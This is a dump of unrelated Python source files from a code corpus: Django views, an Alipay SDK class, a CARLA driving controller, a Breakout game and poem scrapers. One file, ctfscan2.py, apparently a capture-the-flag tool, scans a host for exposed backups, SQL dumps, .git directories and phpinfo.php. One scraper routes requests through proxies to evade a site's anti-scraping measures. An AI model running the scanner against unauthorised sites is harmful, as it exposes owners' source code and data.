'app/videos.html')\n\ndef publications_list(request):\n publication_list = Publication.objects.reverse()\n context = {'publication_list': publication_list}\n return render(request, 'app/publications_list.html', context)\n\n \n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":24688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"136294424","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\n\nfrom alipay.aop.api.constant.ParamConstants import *\n\n\nclass UseTime(object):\n\n def __init__(self):\n self._dimension = None\n self._times = None\n self._values = None\n\n @property\n def dimension(self):\n return self._dimension\n\n @dimension.setter\n def dimension(self, value):\n self._dimension = value\n @property\n def times(self):\n return self._times\n\n @times.setter\n def times(self, value):\n self._times = value\n @property\n def values(self):\n return self._values\n\n @values.setter\n def values(self, value):\n self._values = value\n\n\n def to_alipay_dict(self):\n params = dict()\n if self.dimension:\n if hasattr(self.dimension, 'to_alipay_dict'):\n params['dimension'] = self.dimension.to_alipay_dict()\n else:\n params['dimension'] = self.dimension\n if self.times:\n if hasattr(self.times, 'to_alipay_dict'):\n params['times'] = self.times.to_alipay_dict()\n else:\n params['times'] = self.times\n if self.values:\n if hasattr(self.values, 'to_alipay_dict'):\n params['values'] = self.values.to_alipay_dict()\n else:\n params['values'] = self.values\n return params\n\n @staticmethod\n def from_alipay_dict(d):\n if not d:\n return None\n o = UseTime()\n if 'dimension' in d:\n o.dimension = d['dimension']\n if 'times' in d:\n o.times = d['times']\n if 'values' in d:\n o.values = d['values']\n return o\n\n\n","sub_path":"alipay/aop/api/domain/UseTime.py","file_name":"UseTime.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"121122422","text":"#!/usr/bin/env python3\n# -*- coding:utf8 -*-\n__author__ = 'Cytosine'\n\nimport sys\nimport asyncio\nimport aiohttp\n\nasync def requests_get(url):\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n await response.read()\n if response.status != 404:\n print(f'\\033[1;32;40m[+] {response.status} {url}\\033[0m')\n else:\n print(f'[-] 404 {url}')\n\n\ndef scan(host, filenames):\n filename_extension_dic = \"\"\"\n .php.swp\n .php~\n .php.bak\n .php.old\n .php.swo\n .php.svn\n .php.zip\n .php.rar\n .php.txt\n ~\n ~1~\n ~2~\n ~3~\n .save\n .save1\n .save2\n .save3\n .bak_Edietplus\n .bak\n .back\n .war\n \"\"\"\n filename_extension_list = filename_extension_dic.strip().split()\n all_url = []\n for filename in filenames:\n for extension in filename_extension_list:\n all_url.append(f'{host}{filename}{extension}')\n all_url.append(f'{host}.{filename}{extension}')\n\n backup_and_version_dic = \"\"\"\n .git/\n .svn/\n .hg/\n 1.zip\n 1.rar\n tar.zip\n tar.rar\n web.zip\n web.rar\n web.tgz\n web1.zip\n web1.rar\n 123.zip\n 123.rar\n code.zip\n code.rar\n www.zip\n www.rar\n root.zip\n root.rar\n wwwroot.zip\n wwwroot.rar\n backup.zip\n backup.rar\n mysql.bak\n a.sql\n b.sql\n db.sql\n bdb.sql\n ddb.sql\n mysql.sql\n dump.sql\n data.sql\n backup.sql\n backup.sql.gz\n backup.sql.bz2\n backup.zip\n rss.xml\n crossdomain.xml\n phpinfo.php\n test.php\n \"\"\"\n backup_and_version_list = backup_and_version_dic.strip().split()\n for b in backup_and_version_list:\n all_url.append(f'{host}{b}')\n\n loop = asyncio.get_event_loop()\n tasks = [requests_get(u) for u in all_url]\n loop.run_until_complete(asyncio.wait(tasks))\n loop.close()\n\n print('[*] Scan Finished.')\n\n pass\n\n\nif __name__ == '__main__': # 使用示例 $ python3 ctfscan2.py ctf.com index login register\n host = sys.argv[1]\n filename = sys.argv[2:]\n\n # host = 'localhost'\n # filename = ['index','login','register']\n\n if 'http' not in host:\n host = 'http://' + host\n\n if host[-1] != '/':\n host = host + '/'\n\n scan(host, filename)\n","sub_path":"ctfscan2.py","file_name":"ctfscan2.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"651868242","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 8 11:06:32 2020\n\n@author: shijiliu\n\"\"\"\n\n\nimport carla\nimport numpy as np\nfrom collections import deque\nimport time\nimport math\n\nimport control # the python-control package, install first\n\nfrom generate_path_omit_regulation import generate_path\nfrom intersection_definition import Intersection, get_traffic_lights, get_trajectory, smooth_trajectory\nfrom carla_env import CARLA_ENV # self-written class that provides help functions, should be in the same folder\nfrom configobj import ConfigObj\nfrom multiple_vehicle_control import VehicleControl\n\nimport copy\n\n# color for debug use\nred = carla.Color(255, 0, 0)\ngreen = carla.Color(0, 255, 0)\nblue = carla.Color(47, 210, 231)\ncyan = carla.Color(0, 255, 255)\nyellow = carla.Color(255, 255, 0)\norange = carla.Color(255, 162, 0)\nwhite = carla.Color(255, 255, 255)\n\nclass LeadVehicleControl(VehicleControl):\n # the LeadVehicleControl has two different modes:\n # normal full path mode: vehicle follows normal full path\n # pause mode: vehicle stop to the right of the lane,\n # waiting for the ego vehicle to come\n \n def __init__(self,env,vehicle_config, delta_seconds):\n super().__init__(env, vehicle_config, delta_seconds)\n \n # copy the full path trajectory\n self.full_path_trajectory = copy.copy(self.trajectory)\n self.full_path_index = copy.copy(self.index)\n self.full_path_ref_speed_list = copy.copy(self.ref_speed_list )\n \n # generate waypoints for pausing the car\n self._get_pause_waypoints()\n self.mode = \"normal\"\n \n def _get_pause_waypoints(self):\n '''\n generate a list of waypoints for the pause path\n the waypoints are in vehicle right-hand coordinates, the heading \n direction of the vehicle is x-axis\n\n Returns\n -------\n None.\n\n '''\n bb = self.vehicle_config[\"bounding_box\"]\n self.pause_waypoint_list = [(0.0,0.0),(bb.x, -bb.y ),(bb.x * 2,-bb.y * 2),(bb.x * 3, -bb.y * 3),(bb.x * 4, -bb.y * 3.5),(bb.x * 5, -bb.y * 3.5),(bb.x * 6, -bb.y * 3.5),(bb.x * 7, -bb.y * 3.5)]\n #[(0.0,0.0),(2 * bb.x, 0.0),(bb.x * 3,bb.y / 2),(bb.x * 4, bb.y),(bb.x * 5, bb.y * 2),(bb.x * 6, bb.y * 2),(bb.x * 8, bb.y * 2)]\n #[(0.0,0.0),(bb.x, 0.0),(bb.x * 2,-bb.y / 2),(bb.x * 3, -bb.y),(bb.x * 4, -bb.y)]\n \n def _get_unit_left_vector(self,yaw):\n # get the left vector (y axis)\n right_yaw = (yaw + 90) % 360\n rad_yaw = math.radians(right_yaw)\n left_vector = np.array([math.cos(rad_yaw),math.sin(rad_yaw)])\n left_vector = left_vector / np.linalg.norm(left_vector)\n return left_vector\n \n def _generate_pause_path(self):\n '''\n generate a path for the vehicle to right shift a certain value and then stop.\n assume the lead vehicle is always heading in the straight direction\n\n Returns\n --\n None\n '''\n # get world transform of the lead vehicle\n world_transform = self.env.get_transform_3d(self.model_uniquename)\n location = world_transform.location\n location_2d = np.array([location.x,location.y])\n forward_vector = world_transform.get_forward_vector()\n forward_vector_2d = np.array([forward_vector.x,forward_vector.y])\n left_vector_2d = self._get_unit_left_vector(world_transform.rotation.yaw)\n \n # transform local waypoints into global coordinates\n world_waypoints = []\n for pt in self.pause_waypoint_list:\n world_pt = location_2d + pt[0] * forward_vector_2d + pt[1] * left_vector_2d\n world_waypoints.append( ((world_pt[0],world_pt[1]),5.0) ) # vehicle will stop at 5 m/s\n if self.debug_vehicle:\n loc = carla.Location(x = world_pt[0],y = world_pt[1], z = 0.0)\n self.env.world.debug.draw_point(loc, size = 0.2, color = white, life_time=0.0, persistent_lines=True)\n \n # form trajectory\n smoothed_full_trajectory, ref_speed_list = get_trajectory(world_waypoints)\n \n self.pause_path_trajectory = smoothed_full_trajectory\n self.pause_path_ref_speed = ref_speed_list\n \n self.pause_path_index = 0\n \n if self.debug_vehicle:\n \n for ii in range(1,len(smoothed_full_trajectory)):\n loc1 = carla.Location(x = smoothed_full_trajectory[ii - 1][0], y = smoothed_full_trajectory[ii - 1][1], z = 0.0)\n loc2 = carla.Location(x = smoothed_full_trajectory[ii][0], y = smoothed_full_trajectory[ii][1], z = 0.0)\n self.env.world.debug.draw_arrow(loc1, loc2, thickness = 0.05, arrow_size = 0.1, color = red, life_time=0.0, persistent_lines=True)\n \n def change_mode(self, mode):\n '''\n change vehicle mode\n \n the LeadVehicleControl has two different modes:\n normal full path mode: vehicle follows normal full path\n pause mode: vehicle stop to the right of the lane,\n waiting for the ego vehicle to come\n\n Parameters\n ----------\n mode : string\n the mode. valid valuse are \"normal\",\"pause\"\n\n Returns\n -------\n None.\n\n '''\n if mode == \"normal\":\n self.index = copy.copy(self.full_path_index)\n self.ref_speed_list = copy.copy(self.full_path_ref_speed_list)\n self.trajectory = copy.copy(self.full_path_trajectory)\n self.mode = mode\n elif mode == \"pause\":\n self._generate_pause_path() # generate path when switching mode\n self.index = copy.copy(self.pause_path_index)\n self.ref_speed_list = copy.copy(self.pause_path_ref_speed)\n self.trajectory = copy.copy(self.pause_path_trajectory)\n self.mode = mode\n\n\n def pure_pursuit_control_wrapper(self):\n '''\n Apply one step control to the vehicle, store essential information for further use\n \n Note: this is an overriden version of pure_pursuit_control_wrapper\n to avoid vehicle being removed from the environment when reach the end of pause\n\n Returns\n -------\n end_trajectory : bool\n whether this vehicle reaches its end\n\n '''\n \n curr_speed = self.env.get_forward_speed(self.model_uniquename)\n vehicle_pos_2d = self.env.get_transform_2d(self.model_uniquename) # the (x,y) location and yaw angle of the vehicle\n self.speed.append(curr_speed)\n self.curr_speeds.append(curr_speed)\n \n # draw real trajectory if debug is enabled\n if self.debug_vehicle:\n self.vehicle_pose.append(vehicle_pos_2d[0])\n if len(self.vehicle_pose) == 2:\n self.env.draw_real_trajectory(self.vehicle_pose)\n \n # use pure-pursuit model to get the steer angle (in radius)\n delta, current_ref_speed, index, end_trajectory = self.pure_pursuit_control(vehicle_pos_2d, curr_speed, self.trajectory, self.ref_speed_list, self.index)\n self.index = index\n steer = np.clip(delta,-1.0,1.0)\n \n \n # If vehicle has safety distance set, check whether a vehicle is in the front\n current_ref_speed = self._obey_safety_distance(current_ref_speed)\n \n # If vehicle obey traffic lights and is going straight / turning left, check the traffic light state\n current_ref_speed = self._obey_traffic_light(current_ref_speed)\n \n #if self.debug_vehicle:\n # print(\"current_ref_speed == \",current_ref_speed)\n \n self.ref_speeds.append(current_ref_speed)\n self.reference_speed.append(current_ref_speed)\n \n # get throttle to get the next reference speed \n throttle = self.speed_control() # get the throttle control based on reference and current speed\n throttle = np.clip(throttle,0,1) # throttle value is [0,1]\n self.throttles.append(throttle) # for visualization\n \n # check whether we are reaching the destination or not\n # this part is different from the original version\n if end_trajectory and self.mode == \"normal\":\n vehicle_control = carla.VehicleControl(throttle = 0.0,steer=steer,brake = 1.0) # immediately stop the car\n self.env.apply_vehicle_control(self.model_uniquename, vehicle_control) # apply control to vehicle\n self.run = False\n self._destroy_vehicle()\n return end_trajectory\n elif end_trajectory and self.mode == \"pause\":\n vehicle_control = carla.VehicleControl(throttle = 0.0,steer=steer,brake = 1.0)\n self.env.apply_vehicle_control(self.model_uniquename, vehicle_control)\n return False\n \n \n \n # apply throttle-steer-brake control\n if curr_speed <= current_ref_speed:\n vehicle_control = carla.VehicleControl(throttle = throttle,steer=steer) \n else:\n vehicle_control = carla.VehicleControl(throttle = throttle,steer=steer,brake = 0.5)\n self.env.apply_vehicle_control(self.model_uniquename, vehicle_control) # apply control to vehicle\n return end_trajectory ","sub_path":"backend/full_path_vehicle.py","file_name":"full_path_vehicle.py","file_ext":"py","file_size_in_byte":9357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"562775218","text":"\"\"\"\nAtari Breakout (with pygame) v1.0 by smartspot2\n\nNOTES:\nStarted- 6/10/16 9:36 PM\nCompleted- N/A\nLast edited- N/A\n\n\n\n\"\"\"\n\nimport pygame\nimport os\nimport random\nimport math\n\nfrom write import write\n\npyg = pygame\ndisp = pyg.display\n\n\"\"\"Set screen resolution\"\"\"\nscreen = pyg.display.set_mode((625, 480))\nscreen_rect = screen.get_rect()\ndisp.set_caption('Pong')\n\n\"\"\"Initialize variables\"\"\"\nWHITE = pyg.Color('white')\nBLACK = pyg.Color('black')\nGRAY = pyg.Color('gray')\nDARK_GRAY = pyg.Color('gray2')\nRED = pyg.Color('red')\nGREEN = pyg.Color('green')\nBLUE = pyg.Color('blue')\nYELLOW = pyg.Color('yellow')\nORANGE = pyg.Color('orange')\n\nbg_col = WHITE\nscore_col = BLACK\n\nscreen_w = screen.get_width()\nscreen_h = screen.get_height()\n\n\"\"\"Settings\"\"\"\n\nbrick_count = 71\n\nstart = 1\n\nfps = 80\n\nmove_dist = 7\nmove_dist_comp = 7\n\ndefault_ball_count = 1\n\nball_count = int(default_ball_count)\n\nball_min_speed = 6 # Default 9\nball_max_speed = 8 # Default 11\n\n\"\"\"Initialize pygame and display\"\"\"\npyg.init()\ndisp.init()\n\n\"\"\"Fill and update display\"\"\"\nscreen.fill(bg_col)\ndisp.flip()\n\n\"\"\"Convenience functions\"\"\"\ndef update():\n \"\"\"Updates screen\"\"\"\n disp.flip()\n\n\ndef clear():\n \"\"\"Clears screen\"\"\"\n screen.fill(bg_col)\n\ndef load_img(name):\n \"\"\"Loads image\"\"\"\n image_name = os.path.join('img', name)\n image = pyg.image.load(image_name)\n image_rect = image.get_rect()\n return image, image_rect\n\nclass Ball(pyg.sprite.Sprite):\n \"\"\"The ball.\"\"\"\n def __init__(self, speed):\n \"\"\"Initialize variables\"\"\"\n pyg.sprite.Sprite.__init__(self) # Initialize Sprite\n\n # Load image and image rect\n self.image, self.rect = load_img('ball.bmp')\n\n self.rect.move_ip(\n (screen_w - self.rect.x)//2,\n (screen_h - self.rect.y)//2) # Move in place\n\n self.vel = pyg.math.Vector2(\n random.uniform(0, math.pi*2), speed) # Create velocity vector\n self.speed = speed # Set speed\n self.bounce = 0 # Number of bounces; speed varies as this varies\n self.direction = 'None' # Direction of ball\n\n update() # Update screen\n\n def update(self):\n \"\"\"Updates the ball's position\"\"\"\n global b_list\n if start == 0:\n newpos = self.new_pos() # Calculates new position\n self.rect = newpos # Sets the ball's rect to the new position\n selfcollide = self.rect.colliderect\n selfcollidelist = self.rect.collidelist\n\n on_screen = screen_rect.contains(self.rect) # If the ball is onscreen\n if on_screen: # If the ball is onscreen and collides with a paddle\n if selfcollide(p1.rect):\n self.check_paddle() # Check/change ball's angle for paddles\n if selfcollidelist(brick_list) > -1:\n self.check_bricks()\n elif not on_screen: # If the ball is not onscreen\n self.check_walls() # Check/change ball's angle for walls\n\n if self.bounce % 50 == 0: #If number of bounces is divisible by 50\n self.speed += 1 #Add 1 to speed\n\n angle = math.degrees(self.vel[0]) # Change/get angle in degrees\n # If the ball is going right, set the direction to 'right'\n if 0 < abs(angle) < 90 or 270 < abs(angle) < 360:\n self.direction = 'right'\n # If the ball is going left, set the direction to 'left'\n elif 90 < abs(angle) < 270:\n self.direction = 'left'\n # Otherwise, there is a problem\n else:\n self.direction = 'none'\n elif start == 1:\n if b_list:\n b_list = [b_list[0]]\n self.rect.x, self.rect.y = p1.rect.midtop\n self.rect.x -= self.rect.w//2\n self.rect.y -= self.rect.h\n\n def check_paddle(self):\n \"\"\"\n Checks and changes the ball's angle\n when bouncing off the paddle\n \"\"\"\n \n (angle, z) = self.vel\n noise = random.uniform(-0.1, 0.1)\n\n if self.rect.colliderect(p1.rect) == 1:\n fromcenter = self.rect.midbottom[0] - p1.rect.midbottom[0]\n angle = -math.pi/2 + noise + fromcenter * (math.pi/150)\n\n self.bounce += 1\n\n self.vel = pyg.math.Vector2(angle, z)\n\n def check_walls(self):\n global start\n \"\"\"\n Checks and changes the ball's angle\n when bouncing off of walls\n \"\"\"\n \n (angle, z) = self.vel\n (dx, dy) = (z*math.cos(angle), z*math.sin(angle))\n\n if self.rect.bottom + dy > screen_h:\n start = 1\n elif self.rect.top + dy < 0:\n angle *= -1\n elif self.rect.left + dx < 0 or self.rect.right + dx > screen_w:\n angle = math.pi - angle\n\n self.bounce += 1\n\n self.vel = pyg.math.Vector2(angle, z)\n\n def check_bricks(self):\n (angle, z) = self.vel\n\n index = self.rect.collidelist(brick_list)\n if index > -1:\n brick = brick_list[index]\n selfcenter = self.rect.center\n if selfcenter[0] > brick.rect.right or \\\n selfcenter[0] < brick.rect.left:\n angle = math.pi-angle\n else:\n angle *= -1\n\n del brick_list[index]\n self.vel = pyg.math.Vector2(angle, z)\n \n\n def new_pos(self):\n \"\"\"\n Calculates the ball's new position\n \"\"\"\n (angle, z) = self.vel\n (dx, dy) = (z*math.cos(angle), z*math.sin(angle))\n while round(dx, 0) in (-1, 0, 1):\n dx += 1\n while round(dy, 0) in (-1, 0, 1):\n dy += 1\n return self.rect.move(dx, dy)\n\n def sendranddirection(self):\n (angle, z) = self.vel\n angle = random.uniform(-math.pi, math.pi)\n self.vel = pyg.math.Vector2(angle, z)\n\n\nclass Paddle(pyg.sprite.Sprite):\n def __init__(self, side):\n \"\"\"\n side: 1 = bottom\n side: 2 = top\n \"\"\"\n pyg.sprite.Sprite.__init__(self)\n self.image, self.rect = load_img('paddle.bmp')\n self.side = side\n self.determine_sides()\n\n def determine_sides(self):\n if self.side == 1:\n self.rect.move_ip(\n (screen_w - self.rect.w)//2,\n 7*(screen_h)//8 - (self.rect.h)//2)\n elif self.side == 2:\n self.rect.move_ip(\n (screen_w - self.rect.w)//2,\n (screen_h)//8 - (self.rect.h)//2)\n\n def update(self):\n keys = pyg.key.get_pressed()\n\n if keys[pyg.K_RIGHT]:\n if self.rect.right >= screen_w:\n return\n self.rect.move_ip(move_dist, 0)\n if keys[pyg.K_LEFT]:\n if self.rect.left <= 0:\n return\n self.rect.move_ip(-move_dist, 0)\n\n def comp_right(self):\n if self.rect.right + move_dist_comp >= screen_w:\n return\n self.rect.move_ip(move_dist_comp, 0)\n\n def comp_left(self):\n if self.rect.left - move_dist_comp <= 0:\n return\n self.rect.move_ip(-move_dist_comp, 0)\n\n def comp_update(self):\n dist_list = []\n for b in b_list:\n dist_x = self.rect.x - b.rect.x\n dist_y = self.rect.y - b.rect.y\n dist_list.append(math.sqrt(abs(dist_x)**2 + abs(dist_y)**2))\n\n b = b_list[dist_list.index(min(dist_list))]\n dist = self.rect.x - b.rect.x\n move = False\n\n if self.side == 1:\n if b.rect.y >= 3*screen_h//8:\n move = True\n elif self.side == 2:\n if b.rect.y <= 5*screen_h//8:\n move = True\n\n if not gamemode_reverse:\n if move or len(b_list) > 1:\n if dist < -5:\n self.comp_right()\n elif dist > 5:\n self.comp_left()\n elif not move or len(b_list) > 1:\n if dist < -200:\n self.comp_right()\n if dist > 200:\n self.comp_left()\n elif gamemode_reverse:\n if move or len(b_list) > 1:\n if (b.direction == 'right' and dist < 300):\n self.comp_left()\n elif (b.direction == 'left' and dist > -300):\n self.comp_right()\n elif b.direction == 'right' and dist < 350:\n self.comp_right()\n elif b.direction == 'left' and dist > -350:\n self.comp_left()\n elif not move or len(b_list) > 1:\n if dist < -200:\n self.comp_left()\n if dist > 200:\n self.comp_right()\n\nclass Brick(pyg.sprite.Sprite):\n def __init__(self, x, y):\n pyg.sprite.Sprite.__init__(self)\n self.image, self.rect = load_img('brick.bmp')\n self.x = x\n self.y = y\n self.w = self.rect.w\n self.h = self.rect.h\n self.rect.move_ip(x, y)\n\ndef main():\n global p1, start\n global b_list, b_sprite_list, brick_list, brick_sprite_list\n global score\n global fps, ball_count\n global p1_is_comp\n \n score = [0, 0, 0]\n\n ball_count = int(default_ball_count)\n\n p1 = Paddle(1)\n\n b_list = []\n for i in range(ball_count):\n b_list.append(Ball(random.uniform(ball_min_speed, ball_max_speed)))\n\n p1_sprite = pyg.sprite.RenderClear(p1)\n\n b_sprite_list = []\n for ball in b_list:\n b_sprite_list.append(pyg.sprite.RenderClear(ball))\n\n brick_list = []\n b_x = 0\n b_y = 0\n for i in range(brick_count):\n brick = Brick(b_x, b_y)\n brick_list.append(brick)\n if b_x > screen_w:\n b_x = b_x - screen_w - 2*brick.w\n b_y += brick.h\n b_x += brick.w\n screen.blit(brick.image, (brick.rect.x, brick.rect.y))\n update()\n print(b_x, b_y, brick)\n \n\n brick_sprite_list = []\n for brick in brick_list:\n brick_sprite_list.append(pyg.sprite.RenderClear(brick))\n \n\n clock = pyg.time.Clock()\n\n while True:\n clock.tick(fps)\n\n keys_pressed = pyg.key.get_pressed()\n\n if keys_pressed[pyg.K_LSHIFT] or keys_pressed[pyg.K_RSHIFT]:\n for event in pyg.event.get():\n if event.type == pyg.KEYDOWN:\n if event.key == pyg.K_MINUS:\n rand = random.randint(0, len(b_list)-1)\n if len(b_list) > 1:\n b_list.remove(b_list[rand])\n b_sprite_list.remove(b_sprite_list[rand])\n ball_count -= 1\n print('Removed ball')\n elif event.key == pyg.K_EQUALS:\n b_list.append(Ball(random.uniform(ball_min_speed, ball_max_speed)))\n b_sprite_list.append(pyg.sprite.RenderClear(b_list[-1]))\n ball_count += 1\n print('Added ball')\n\n if keys_pressed[pyg.K_LEFTBRACKET]:\n if fps > 1:\n fps -= 1\n print('Reduced fps')\n elif keys_pressed[pyg.K_RIGHTBRACKET]:\n fps += 1\n print('Increased fps')\n\n if keys_pressed[pyg.K_SPACE] and start == 1:\n b_list[0].sendranddirection()\n start = 0\n\n if keys_pressed[pyg.K_LEFTBRACKET] and not (keys_pressed[pyg.K_LSHIFT] or keys_pressed[pyg.K_RSHIFT]):\n if fps > 1:\n fps -= 1\n print('Reduced fps')\n elif keys_pressed[pyg.K_RIGHTBRACKET] and not (keys_pressed[pyg.K_LSHIFT] or keys_pressed[pyg.K_RSHIFT]):\n fps += 1\n print('Increased fps')\n\n if keys_pressed[pyg.K_MINUS] and not (keys_pressed[pyg.K_LSHIFT] or keys_pressed[pyg.K_RSHIFT]):\n rand = random.randint(0, len(b_list)-1)\n if len(b_list) > 1:\n b_list.remove(b_list[rand])\n b_sprite_list.remove(b_sprite_list[rand])\n ball_count -= 1\n print('Removed ball')\n else:\n print('Cannot remove ball; only one left')\n elif keys_pressed[pyg.K_EQUALS] and not (keys_pressed[pyg.K_LSHIFT] or keys_pressed[pyg.K_RSHIFT]):\n b_list.append(Ball(random.uniform(ball_min_speed, ball_max_speed)))\n b_sprite_list.append(pyg.sprite.RenderClear(b_list[-1]))\n ball_count += 1\n print('Added ball')\n\n ball_count = len(b_list)\n\n p1.update()\n \n for ball in b_list:\n ball.update()\n\n clear()\n screen.blit(p1.image, (p1.rect.x, p1.rect.y))\n\n for ball in b_list:\n screen.blit(ball.image, (ball.rect.x, ball.rect.y))\n\n for brick in brick_list:\n screen.blit(brick.image, (brick.x, brick.y))\n\n write(screen, 'FPS: ' + str(fps), score_col, None, 20, screen_w-75, screen_h-50)\n write(screen, 'Balls: ' + str(ball_count), score_col, None, 20, screen_w-75, screen_h-25)\n\n update()\n\nif __name__ == '__main__':\n main()\n pygame.quit()\n","sub_path":"Atari Breakout.py","file_name":"Atari Breakout.py","file_ext":"py","file_size_in_byte":13198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"651133081","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\nimport os\nimport re\nfrom Model.utils.WebProxyTools import WebProxyTool\n\nclass poemSpider:\n def __init__(self,base_url,dir_to_save,base_dir_for_save = None, website_to_crawl = None):\n self.website_to_crawl = website_to_crawl\n self.base_url = base_url\n self.dir_to_save = dir_to_save\n self.base_dir_for_save = base_dir_for_save\n self.num_poems = 0\n self.poems = []\n self.url_crawled = []\n\n def getPage(self,href):\n req = requests.get(url=href)\n if req.status_code == 404:\n return None\n # req.encoding = \"gb18030\" # in case of Chinese character\n req.encoding = \"gb18030\"\n html = req.text\n bf = BeautifulSoup(html, 'html.parser')\n return bf\n\n def getOnePoem(self,href):\n html = self.getPage(href)\n texts = html.find(id=\"content\")\n texts = texts.find(id=\"main\")\n texts = texts.find_all('p')\n\n content = []\n for p in texts:\n content.append(p.get_text())\n content = content[2:]\n\n return content\n\n def getPoemList(self,target):\n bf = self.getPage(target)\n if bf is None:\n return None\n texts = bf.find_all('div', class_=\"list_content\")[0]\n texts = texts.find_all('a')\n hrefs_to_crawl = []\n for a in texts:\n print(a.get_text())\n hrefs_to_crawl.append(a.get('href'))\n return hrefs_to_crawl\n\n def save(self,dir_to_save=None):\n if self.dir_to_save is None and dir_to_save is None:\n raise print(f'[log] no dir to save {self.website_to_crawl}')\n if dir_to_save is not None:\n with open(dir_to_save,'w',encoding=\"utf8\") as fout:\n json.dump(self.poems,fout,ensure_ascii=False)\n if self.dir_to_save is not None and self.dir_to_save != dir_to_save:\n with open(self.dir_to_save,\"w\",encoding=\"utf8\") as fout:\n json.dump(self.poems,fout,ensure_ascii=False)\n\nclass poemSanwenji(poemSpider):\n def __init__(self , base_url, dir_to_save=os.path.join(r'E:\\\\PycharmProjects\\\\FirstDayOnMS2\\\\Data\\\\Poem','sanwenji/sanwenji.json'),base_dir_for_save = r'E:\\\\PycharmProjects\\\\FirstDayOnMS2\\\\Data\\\\Poem',kind_url=None,base_name=None, website_to_crawl ='散文集网' ):\n super(poemSanwenji,self).__init__(base_url, dir_to_save, base_dir_for_save ,website_to_crawl = website_to_crawl)\n\n def getPage(self,href):\n req = requests.get(url=href)\n if req.status_code == 404:\n return None\n # req.encoding = \"gb18030\" # in case of Chinese character\n req.encoding = \"gb18030\"\n html = req.text\n bf = BeautifulSoup(html, 'html.parser')\n return bf\n\n def getOnePoem(self,href):\n html = self.getPage(href)\n texts = html.select('div[class=\"article_content\"]')[\n 0] # 用select不要用find_all() ,后者返回的是一个NavigableString类型,而不是tag不能进行继续的检索\n texts = texts.select('p')\n content = []\n for p in texts:\n content.append(p.get_text())\n # content = content[2:]\n poem_title = []\n texts_article_title = html.select('div[class=\"article_tit\"]')[0]\n texts_article_title = texts_article_title.select('a')[0].get_text()\n poem_title.append(texts_article_title)\n poem = poem_title + ['。'] + content\n return poem_title , content\n\n def getPoemList(self,target):\n bf = self.getPage(target)\n if bf is None:\n return None\n texts = bf.find_all('div', class_=\"list_content\")[0]\n texts = texts.find_all('a')\n hrefs_to_crawl = []\n for a in texts:\n print(a.get_text())\n hrefs_to_crawl.append(a.get('href'))\n return hrefs_to_crawl\n\n def getOneKindPoem(self,base_url, save_dir_base,cur_poem_class):\n pre = base_url\n # pre = \"http://www.sanwenji.cn/sanwen/sanwen/shanggan/list_\"\n post = \".html\"\n for number in range(1, 20):\n print(\"number = \", number)\n url = pre + str(number) + post\n hrefs_to_crawl = self.getPoemList(url)\n if hrefs_to_crawl is None:\n break\n for i, ele in enumerate(hrefs_to_crawl):\n print(\"number = \", number, \" i= \", i)\n if ele in self.url_crawled:\n continue\n self.url_crawled.append(ele)\n poem_title, poem_content = self.getOnePoem(ele)\n onePoem = poem_title + ['。'] + poem_content\n if len(onePoem) == 0:\n print(\"ele = \", ele)\n continue\n self.num_poems +=1\n temp_dict = {\"poem_id\":self.num_poems,\n 'poem_title':'\\n'.join(poem_title),\n 'origin_poem':\"\\n\".join(poem_content),\n 'poem_class':cur_poem_class,\n 'url':ele,\n 'website_name':self.website_to_crawl\n }\n self.poems.append(temp_dict)\n\n '''\n 下面是将这篇散文保存到一个文件的逻辑\n '''\n if self.base_dir_for_save:\n save_dir_base = os.path.join(self.base_dir_for_save,save_dir_base)\n if not os.path.exists(save_dir_base):\n os.makedirs(save_dir_base)\n print(\"save_dir_base\",save_dir_base)\n filename = save_dir_base + str(number) + \"__\" + str(i)\n print(\"filename = \", filename)\n with open(filename + \".txt\", \"w\", encoding=\"utf8\") as fout:\n fout.write(\"\\n\".join(onePoem))\n # with open(filename + '.pkl', \"wb\") as fout:\n # pickle.dump(onePoem, fout)\n # fout.close()\n\n def forward(self):\n self.kind_url = [\n \"http://www.sanwenji.cn/sanwen/shuqing/list_\",\n \"http://www.sanwenji.cn/sanwen/sanwen/shanggan/list_\",\n \"http://www.sanwenji.cn/sanwen/youmeisanwen/list_\",\n \"http://www.sanwenji.cn/sanwen/suibi/list_\",\n \"http://www.sanwenji.cn/sanwen/xiandai/list_\",\n \"http://www.sanwenji.cn/sanwen/sanwen/xiejing/list_\",\n \"http://www.sanwenji.cn/sanwen/sanwen/lizhi/list_\"\n ]\n self.base_name = 'sanwenji/'\n self.kind_name = []\n self.poem_classes = []\n for url in self.kind_url:\n cur_poem_class = url.split('/')[-2]\n self.poem_classes.append(cur_poem_class)\n url = self.base_name + url.split('/')[-2] + '/'\n self.kind_name.append(url)\n\n for u , n , c in zip(self.kind_url, self.kind_name , self.poem_classes):\n self.getOneKindPoem(u,n,c)\n\n self.save(self.dir_to_save)\n\nclass poemChinaSw(poemSpider):\n def __init__(self , base_url=None, dir_to_save=os.path.join(r'E:\\\\PycharmProjects\\\\FirstDayOnMS2\\\\Data\\\\Poem','chinasw/chinasw.json'),base_dir_for_save = r'E:\\\\PycharmProjects\\\\FirstDayOnMS2\\\\Data\\\\Poem',website_to_crawl = '中国散文网'):\n super(poemChinaSw,self).__init__(base_url, dir_to_save,base_dir_for_save,website_to_crawl = website_to_crawl)\n self.tool = WebProxyTool() #中国散文网有反扒机制\n self.crawled_list = []\n self.duplicate_num = 0\n\n def getPage(self,href):\n try:\n crawlable_url = self.tool.getCrawlUrl(href)\n req = requests.get(url=crawlable_url)\n if req.status_code == 404:\n return None\n # req.encoding = \"gb18030\" # in case of Chinese character\n req.encoding = \"utf-8\"\n html = req.text\n bf = BeautifulSoup(html, 'html.parser')\n return bf\n except:\n print(\"getPage 